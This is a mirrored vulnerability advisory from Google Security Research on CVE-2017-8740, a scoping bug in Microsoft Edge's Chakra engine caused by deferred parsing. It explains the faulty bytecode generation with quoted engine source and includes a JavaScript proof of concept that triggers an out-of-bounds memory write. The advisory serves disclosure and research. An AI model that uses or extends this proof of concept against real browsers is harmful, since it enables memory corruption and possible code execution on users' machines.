Lucene search
K

Microsoft Edge Charka Wrong Scopes In Deferred Parsing

🗓️ 22 Sep 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

Microsoft Edge: Chakra: Deferred parsing issu

Related
Code
`Microsoft Edge: Chakra: Deferred parsing makes wrong scopes   
  
CVE-2017-8740  
  
  
(function f(a = (function () {  
print(a);  
with ({});  
})()) {  
function g() {  
f;  
}  
})();  
  
When Chakra executes the above code, it doesn't generate bytecode for "g". This is a feature called "DeferParse". The problem is that the bytecode generated for "f" when the feature is enabled is different to the bytecode generated when the feature is disabled. This is because of "ByteCodeGenerator::ProcessScopeWithCapturedSym" which changes the function expression scope's type is not called when the feature is enabled.  
  
Here's a snippet of the method which emits an incorrect opcode.  
void ByteCodeGenerator::LoadAllConstants(FuncInfo *funcInfo)  
{  
...  
if (funcExprWithName)  
{  
if (funcInfo->GetFuncExprNameReference() ||  
(funcInfo->funcExprScope && funcInfo->funcExprScope->GetIsObject()))  
{  
...  
Js::RegSlot ldFuncExprDst = sym->GetLocation();  
this->m_writer.Reg1(Js::OpCode::LdFuncExpr, ldFuncExprDst);  
  
if (sym->IsInSlot(funcInfo))  
{  
Js::RegSlot scopeLocation;  
AnalysisAssert(funcInfo->funcExprScope);  
  
if (funcInfo->funcExprScope->GetIsObject())  
{  
scopeLocation = funcInfo->funcExprScope->GetLocation();  
this->m_writer.Property(Js::OpCode::StFuncExpr, sym->GetLocation(), scopeLocation,  
funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));  
}  
else if (funcInfo->bodyScope->GetIsObject())  
{  
this->m_writer.ElementU(Js::OpCode::StLocalFuncExpr, sym->GetLocation(),  
funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));  
}  
else  
{  
Assert(sym->HasScopeSlot());  
this->m_writer.SlotI1(Js::OpCode::StLocalSlot, sym->GetLocation(),  
sym->GetScopeSlot() + Js::ScopeSlots::FirstSlotIndex);  
}  
}  
...  
}  
}  
...  
}  
  
As you can see, it only handles "funcExprScope->GetIsObject()" or "bodyScope->GetIsObject()" but not "paramScope->GetIsObject()".  
Without the feature, there's no case that only "paramScope->GetIsObject()" returns true because "ByteCodeGenerator::ProcessScopeWithCapturedSym" for "f" is always called and makes "funcInfo->funcExprScope->GetIsObject()" return true.  
But with the feature, the method is not called. So it ends up emitting an incorrect opcode "Js::OpCode::StLocalSlot".  
  
The feature is enabled in Edge by default.  
  
PoC:  
let h = function f(a0 = (function () {  
a0;  
a1;  
a2;  
a3;  
a4;  
a5;  
a6;  
a7 = 0x99999; // oob write  
  
with ({});  
})(), a1, a2, a3, a4, a5, a6, a7) {  
function g() {  
f;  
}  
};  
  
for (let i = 0; i < 0x10000; i++) {  
h();  
}  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation